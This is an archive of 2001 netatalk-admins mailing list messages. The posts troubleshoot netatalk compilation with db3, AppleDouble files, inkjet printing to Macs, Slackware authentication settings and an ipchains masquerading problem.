Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA18494
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Sep 2001 18:44:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA16622
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Sep 2001 18:44:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA16613
	for netatalk.administrators-members@umich.edu; Wed, 19 Sep 2001 18:44:53 -0400 (EDT)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA16570
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 18:44:50 -0400 (EDT)
Received: from hkust.se (as4-4-7.dp.m.bonet.se [194.237.47.33])
	(authenticated)
	by max.hkust.se (8.11.6/8.11.6) with ESMTP id f8JMkZL24963;
	Thu, 20 Sep 2001 00:46:35 +0200
Message-ID: <3BA91FEC.D4B895AD@hkust.se>
Date: Thu, 20 Sep 2001 00:45:00 +0200
From: Magnus Stenman <stone@hkust.se>
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en, sv
MIME-Version: 1.0
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
CC: netatalk-admins@umich.edu
Subject: Re: Compile Problems with 1.5pre7
References: <sba868b6.041@keam1> <20010919193853.C1845@jroger.in-berlin.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I have the exact same problem, with RH6.2, and the db libs
I got are: db3-3.1.17 (and gdbm-1.8.0)

Is there a workaround?


/magnus

Sebastian Rittau wrote:
> 
> On Wed, Sep 19, 2001 at 09:43:09AM -0700, Bryn Hughes wrote:
> 
> > I'm having problems compiling 1.5pre7 under RH 6.2.  Haven't been able to find anything that seems to be relevant to this.  I got the 1.5pre7 source from SourceForge 2 days ago.
> 
> [...]
> 
> > gcc -DHAVE_CONFIG_H -I. -I. -I../.. -g -O2 -I/usr/include -I../../include -I../../sys -I/usr/include -I/usr/include/openssl -c cnid_add.c  -fPIC -DPIC -o cnid_add.o
> > cnid_add.c: In function `add_cnid':
> > cnid_add.c:49: warning: passing arg 1 of `txn_begin' from incompatible pointer type
> [...]
> 
> It seems that your libdb3 version is too old. configure should check for
> that but currently doesn't.
> 
>  - Sebastian

From netatalk.administrators-errors@umich.edu  Thu Sep 20 15:45:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA07089
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Sep 2001 15:45:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA13417
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Sep 2001 15:45:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA13342
	for netatalk.administrators-members@umich.edu; Thu, 20 Sep 2001 15:45:42 -0400 (EDT)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id PAA13280
	for <netatalk-admins@umich.edu>; Thu, 20 Sep 2001 15:45:39 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000103927 for <netatalk-admins@umich.edu>; Thu, 20 Sep 2001 21:45:47 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101001b7cff29e4beb@[192.168.1.201]>
Date: Thu, 20 Sep 2001 21:45:34 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: .AppleDouble madness
Content-Type: text/plain; charset="us-ascii"

Hi all,

I was wondering if anybody got the option "noadouble"  to work without -43 errors on any version of netatalk. 
Especially in mp3 directories or webpages shares those .AppleDouble folders are really nasty and error prone (since only netatalk is going to move both files).

One (complete) workaround I found was with OSX and WebDAV: it does work also when  .* paths are denied (so no .DS_Store or other duplicates). And the files are written and read without problems (though very slowly) .
But this poses other rights-related problems (apache user instead of "real" user) which are partly incompatible with our environment.

Help... does anybody have a working anti-resourcefork solution with netatalk...? 

If there is a way to make the noadouble option work, what exactly is meant by 'do not create .AppleDouble when not needed'? When an application sets the type and creator, for example... is this a case where it's considered to be needed?

I am currently using netatalk1.4b2+asun2.1.4_pre_37 on the SuSE 6.4 system mostly affected by this issue

Thanx for Your time and help,

:-)


Lorenzo

----------
if  the spirit ruling in these tech mailing lists 
ruled in other areas of human life...
the world would be a better place.
----------

From netatalk.administrators-errors@umich.edu  Thu Sep 20 20:40:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA19156
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Sep 2001 20:40:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA20760
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Sep 2001 20:40:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA20748
	for netatalk.administrators-members@umich.edu; Thu, 20 Sep 2001 20:40:17 -0400 (EDT)
Received: from mailgate2.sover.net (mailgate2.sover.net [209.198.87.64])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA20723
	for <netatalk-admins@umich.edu>; Thu, 20 Sep 2001 20:40:16 -0400 (EDT)
Received: from rickbragg.net (arc1a55.bf.sover.net [209.198.113.56])
	by mailgate2.sover.net (8.11.5/8.11.5) with ESMTP id f8L0eFh08124
	for <netatalk-admins@umich.edu>; Thu, 20 Sep 2001 20:40:15 -0400 (EDT)
Message-ID: <3BAA8C6F.5070305@rickbragg.net>
Date: Thu, 20 Sep 2001 20:40:15 -0400
From: Rick Bragg <rbragg@rickbragg.net>
Reply-To: netatalk@rickbragg.net
Organization: ..
User-Agent: Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: HP DeskJet 890C 
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi,

I have a HP DeskJet 890C hooked up and running LPD great to my Linux PC.

I just can't seem to print to it using the Mac's on my network.

Does anybody know were I can get the PPD for this?? Adobe doesn't seem 
to have it and I have tried just about everything I can think of.

Please Help.

Thanks
Rick


From netatalk.administrators-errors@umich.edu  Thu Sep 20 20:54:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA19710
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Sep 2001 20:54:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA04122
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Sep 2001 20:54:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA04107
	for netatalk.administrators-members@umich.edu; Thu, 20 Sep 2001 20:54:25 -0400 (EDT)
Received: from stiftsbogtrykkeriet.dk ([62.242.11.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id UAA04054
	for <netatalk-admins@umich.edu>; Thu, 20 Sep 2001 20:54:24 -0400 (EDT)
Received: from Mikkel (Mikkel [192.168.1.2]) by stiftsbogtrykkeriet.dk
    (Hethmon Brothers Smtpd) id 20010921024558-27245-7 ; Fri, 21 Sep 2001 02:45:58 +0000
Message-ID: <3BAA9BD5.74E5@post5.tele.dk>
Date: Fri, 21 Sep 2001 02:45:57 +0100
From: "Mikkel C. Simonsen" <mcs@post5.tele.dk>
Organization: Dantimax
X-Mailer: Mozilla 3.0 (OS/2; I)
MIME-Version: 1.0
To: netatalk@rickbragg.net
CC: netatalk-admins@umich.edu
Subject: Re: HP DeskJet 890C
References: <3BAA8C6F.5070305@rickbragg.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Rick Bragg wrote:
> 
> Hi,
> 
> I have a HP DeskJet 890C hooked up and running LPD great to my Linux PC.
> 
> I just can't seem to print to it using the Mac's on my network.
> 
> Does anybody know were I can get the PPD for this?? Adobe doesn't seem
> to have it and I have tried just about everything I can think of.

I assume the DeskJet is not a PostScript printer - and in that case I
don't think it will work.

If you setup a queue that passes the data through GhostScript, and make
that queue available to the Macs it should work fine. Just use a PPD
from a Colour LaserWriter.

Best regards,

Mikkel C. Simonsen


> Please Help.
> 
> Thanks
> Rick

From netatalk.administrators-errors@umich.edu  Thu Sep 20 22:02:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA03118
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Sep 2001 22:02:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA07941
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Sep 2001 22:02:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA07921
	for netatalk.administrators-members@umich.edu; Thu, 20 Sep 2001 22:02:28 -0400 (EDT)
Received: from allegro.ethz.ch (allegro.ethz.ch [129.132.112.3])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA07879
	for <netatalk-admins@umich.edu>; Thu, 20 Sep 2001 22:02:26 -0400 (EDT)
Received: from [192.168.1.2] (testwww.ethz.ch [129.132.64.8])
	by allegro.ethz.ch (8.9.3/8.9.3) with ESMTP id EAA18173
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 04:03:12 +0200 (METDST)
Mime-Version: 1.0
X-Sender: jaeger@192.168.1.1
Message-Id: <p04320403b7d05b9ca28e@[192.168.1.2]>
Date: Fri, 21 Sep 2001 03:58:55 +0100
To: netatalk-admins@umich.edu
From: Christian Jaeger <christian.jaeger@sl.ethz.ch>
Subject: Extended logging
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hello

[I'm new to this list but I've quickly looked over the list archive]

I need a log of all write actions of netatalk to the filesystem. I.e. 
after each *finished* write of a file there should be a line in the 
log telling the file name, and I need also each file 
move/rename/remove to be listed.

I would prefer a dedicated log over the syslog mechanism.

It's because I have to post-process the files. I Haven't found 
anything like this so far.

Thanks
Christian Jaeger


From netatalk.administrators-errors@umich.edu  Fri Sep 21 09:29:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA27031
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Sep 2001 09:29:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA01973
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Sep 2001 09:29:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA01961
	for netatalk.administrators-members@umich.edu; Fri, 21 Sep 2001 09:29:54 -0400 (EDT)
Received: from allegro.ethz.ch (allegro.ethz.ch [129.132.112.3])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA01931
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 09:29:53 -0400 (EDT)
Received: from [192.168.1.2] (testwww.ethz.ch [129.132.64.8])
	by allegro.ethz.ch (8.9.3/8.9.3) with ESMTP id PAA21746
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 15:30:39 +0200 (METDST)
Mime-Version: 1.0
X-Sender: jaeger@192.168.1.1
Message-Id: <p04320403b7d0fe1fcb5a@[192.168.1.2]>
In-Reply-To: <p04320403b7d05b9ca28e@[192.168.1.2]>
References: <p04320403b7d05b9ca28e@[192.168.1.2]>
Date: Fri, 21 Sep 2001 15:26:15 +0100
To: netatalk-admins@umich.edu
From: Christian Jaeger <christian.jaeger@sl.ethz.ch>
Subject: Re: Extended logging
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I can probably code the required log stuff into netatalk myself. 
Before I do that I want to be sure I don't do something needless.

chj

At 3:58 Uhr +0100 21.9.2001, Christian Jaeger wrote:
>Hello
>
>[I'm new to this list but I've quickly looked over the list archive]
>
>I need a log of all write actions of netatalk to the filesystem. 
>I.e. after each *finished* write of a file there should be a line in 
>the log telling the file name, and I need also each file 
>move/rename/remove to be listed.
>
>I would prefer a dedicated log over the syslog mechanism.
>
>It's because I have to post-process the files. I Haven't found 
>anything like this so far.
>
>Thanks
>Christian Jaeger


From netatalk.administrators-errors@umich.edu  Fri Sep 21 16:21:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA20333
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Sep 2001 16:21:13 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA05806
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Sep 2001 16:21:13 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA05778
	for netatalk.administrators-members@umich.edu; Fri, 21 Sep 2001 16:21:12 -0400 (EDT)
Received: from bsmrpop1.bsmr.uswest.net (bsmrpop1.bsmr.uswest.net [207.108.96.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA05739
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 16:21:10 -0400 (EDT)
Received: (qmail 45830 invoked by alias); 21 Sep 2001 20:21:10 -0000
Delivered-To: fixup-netatalk-admins@umich.edu@fixme
Received: (qmail 45821 invoked by uid 0); 21 Sep 2001 20:21:09 -0000
Received: from bdslppp251.spkn.uswest.net (HELO chris) (207.109.184.251)
  by bsmrpop1.bsmr.uswest.net with SMTP; 21 Sep 2001 20:21:09 -0000
Message-ID: <000d01c142da$b40c6720$0700000a@chris>
From: "Chris" <nholland1@qwest.net>
To: <netatalk-admins@umich.edu>
References: <sba868b6.041@keam1> <20010919193853.C1845@jroger.in-berlin.de> <3BA91FEC.D4B895AD@hkust.se>
Subject: network printing with a inkjet
Date: Fri, 21 Sep 2001 13:19:22 -0700
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700

Hi,
I am new to netatalk.  I have gotten file shareing to work with my mac's.

I would like to us my inkjet printer on my linux box as a network printer
for my macs.  I have it working for my linux box and for my windows machines
using samba.  I have looked over a lot of documentation on how to set up a
printer for the macs using papd.  All the descriptions are for laser
printers and I have not found any for an inkjet printer.  I need a step by
step on how to get my inkjet printer to act as a network printer for my
macs.  I have seen post on using ghostscripts but do not know what that is
or how to write one.
Thanks,
Christopher Holland


From netatalk.administrators-errors@umich.edu  Fri Sep 21 16:44:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA21656
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Sep 2001 16:44:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA11194
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Sep 2001 16:44:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA11181
	for netatalk.administrators-members@umich.edu; Fri, 21 Sep 2001 16:44:17 -0400 (EDT)
Received: from mail.artshouse.com (H114.C214.tor.velocet.net [216.138.214.114])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA11140
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 16:44:16 -0400 (EDT)
Received: from [192.168.0.16] ( [192.168.0.16] (may be forged))
	by mail.artshouse.com (8.9.3/8.9.3) with ESMTP id QAA08422
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 16:43:52 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 21 Sep 2001 16:43:46 -0400
Subject: Slackware 8 + netatalk 1.5x problems
From: Mark Guertin <mark@artshouse.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7D11EC2.AEA%mark@artshouse.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Anyone out there tried this combination?

No matter what I do it seems I can't get any kind of authentication
happening, not even cleartext works...

have setup afppasswd via the admin tool, etc...

Any slackware users out there can offer help/tips/suggestions?

Mark
======================================
Mark Guertin, IT Manager
Artshouse Communications Inc.
345 Adelaide Street West, Main Floor
Toronto, ON, Canada   M5V 1R5
Phone (416) 340-6284 x222
Fax - (416) 581-1252


From netatalk.administrators-errors@umich.edu  Fri Sep 21 17:09:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA22787
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Sep 2001 17:09:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA22262
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Sep 2001 17:09:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA22251
	for netatalk.administrators-members@umich.edu; Fri, 21 Sep 2001 17:09:04 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA22206
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 17:09:02 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-314-48.click-network.com [131.191.28.197]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id OAA29134; Fri, 21 Sep 2001 14:08:51 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Fri, 21 Sep 2001 14:08:15 -0700
Subject: Re: Slackware 8 + netatalk 1.5x problems
From: xris <xris@mac.com>
To: Mark Guertin <mark@artshouse.com>, <netatalk-admins@umich.edu>
Message-ID: <B7D0FA4E.B1DD%xris@mac.com>
In-Reply-To: <B7D11EC2.AEA%mark@artshouse.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Anyone out there tried this combination?
> No matter what I do it seems I can't get any kind of authentication
> happening, not even cleartext works...
> have setup afppasswd via the admin tool, etc...
> Any slackware users out there can offer help/tips/suggestions?

Several of us have tried 1.5pre7 with no luck.  The best solution we've
found is to go back to 1.5pre6 and use something like the following (my
config)

./configure --with-shadow --without-pam --with-tcp-wrappers \
--enable-lastdid --disable-ddp \
--with-ssl-dir=/usr/local/ssl --with-config-dir=/etc/atalk

Also, make sure that you grab the latest version of openssl, as the one that
comes with slackware doesn't seem to work (this seems to be the main reason
the passwords fail).   If you have any luck with pre7, please let us know..

-Chris


From netatalk.administrators-errors@umich.edu  Fri Sep 21 17:30:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA24359
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Sep 2001 17:30:08 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA22738
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Sep 2001 17:30:08 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA22722
	for netatalk.administrators-members@umich.edu; Fri, 21 Sep 2001 17:30:07 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA22674
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 17:30:06 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f8LLU4p26272
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 23:30:04 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f8LLU3T13737
	for netatalk-admins@umich.edu; Fri, 21 Sep 2001 23:30:03 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15kXiM-0001Dn-00
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 23:20:02 +0200
Date: Fri, 21 Sep 2001 23:20:02 +0200
To: netatalk-admins@umich.edu
Subject: Re: Compile Problems with 1.5pre7
Message-ID: <20010921232002.B4035@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <sba868b6.041@keam1> <20010919193853.C1845@jroger.in-berlin.de> <3BA91FEC.D4B895AD@hkust.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3BA91FEC.D4B895AD@hkust.se>
User-Agent: Mutt/1.3.20i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Thu, Sep 20, 2001 at 12:45:00AM +0200, Magnus Stenman wrote:

> I have the exact same problem, with RH6.2, and the db libs
> I got are: db3-3.1.17 (and gdbm-1.8.0)
> 
> Is there a workaround?

One workaround is to install newer db3 libs. You can install them
at a custom location (e.g. /usr/local or /home/whatever) and provide
a path to them with the configure switch --with-db3=PATH. Another
workaround is to disable CNID support: --disable-cnid-db.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Fri Sep 21 18:19:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA27059
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Sep 2001 18:19:29 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA00631
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Sep 2001 18:19:29 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA00619
	for netatalk.administrators-members@umich.edu; Fri, 21 Sep 2001 18:19:28 -0400 (EDT)
Received: from stargate.sunsetd.com ([207.109.249.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA00582
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 18:19:27 -0400 (EDT)
Received: from buckwheat (653273hfc55.tampabay.rr.com [65.32.73.55])
	by stargate.sunsetd.com (8.9.3/8.8.7) with SMTP id PAA29044
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 15:19:29 -0700
Message-Id: <200109212219.PAA29044@stargate.sunsetd.com>
From: Cory Riddell <bor@c-riddell.com>
To: <netatalk-admins@umich.edu>
X-Mailer: PocoMail 2.5 (974) - Registered Version
Date: Fri, 21 Sep 2001 18:26:30 -0400
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id SAA27059

I have a 3-machine network.  My server/firewall is a RH7.1 machine 
(basicaly a fresh install).  It has two NICs.  eth0 goes to the 
internet and eth1 connects to my two other machines (pc and an iMac). 
 I ran lokkit, selected high security and marked eth1 as a trusted 
device.  Then:
ipchains -P forward DENY
ipchains -A forward -i eth0 -j MASQ
and ip_forward is on.

I've also setup Samba for the PC and 
netatalk-1.4b2+asun2.1.4-0.i368.rpm.  The pc works flawlessly.  The 
iMac works great for a while (internet, printing on a printer 
connected to the server, etc..)  But after 5-30 minutes, the mac is 
no longer able to see the internet.  I can still ping the mac and the 
mac can still see a shared directory on the linux box, but it cannot 
see the internet.  No http, and no email.

Any ideas?  How do I go about diagnosing a problem like this?

ifconfig tells me:
eth0 Link encap:Ethernet  HWaddr XX:XX:XX:XX:XX:XX  
     inet addr:XX.XX.XX.XX  Bcast:XX.XX.XX.255  Mask:255.255.255.0
     UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
     RX packets:121781 errors:0 dropped:0 overruns:0 frame:0
     TX packets:4935 errors:0 dropped:0 overruns:0 carrier:0
     collisions:171 
eth1 Link encap:Ethernet  HWaddr XX:XX:XX:XX:XX:XX  
     inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
     EtherTalk Phase 2 addr:65280/178
     UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
     RX packets:120865 errors:0 dropped:0 overruns:0 frame:0
     TX packets:4831 errors:0 dropped:0 overruns:0 carrier:0
     collisions:666 
lo   Link encap:Local Loopback  
     inet addr:127.0.0.1  Mask:255.0.0.0
     EtherTalk Phase 2 addr:0/0
     UP LOOPBACK RUNNING  MTU:16436  Metric:1
     RX packets:6 errors:0 dropped:0 overruns:0 frame:0
     TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
     collisions:0 

Please help!
Thanks,
Cory


From netatalk.administrators-errors@umich.edu  Fri Sep 21 19:46:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA00332
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Sep 2001 19:46:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA28173
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Sep 2001 19:46:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA28164
	for netatalk.administrators-members@umich.edu; Fri, 21 Sep 2001 19:46:49 -0400 (EDT)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA28129
	for <netatalk-admins@umich.edu>; Fri, 21 Sep 2001 19:46:48 -0400 (EDT)
Received: from hkust.se (as4-4-7.dp.m.bonet.se [194.237.47.33])
	(authenticated)
	by max.hkust.se (8.11.6/8.11.6) with ESMTP id f8LNmWL12116;
	Sat, 22 Sep 2001 01:48:32 +0200
Message-ID: <3BABD171.63BFC51A@hkust.se>
Date: Sat, 22 Sep 2001 01:46:57 +0200
From: Magnus Stenman <stone@hkust.se>
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en, sv
MIME-Version: 1.0
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
CC: netatalk-admins@umich.edu
Subject: Re: Compile Problems with 1.5pre7
References: <sba868b6.041@keam1> <20010919193853.C1845@jroger.in-berlin.de> <3BA91FEC.D4B895AD@hkust.se> <20010921232002.B4035@jroger.in-berlin.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

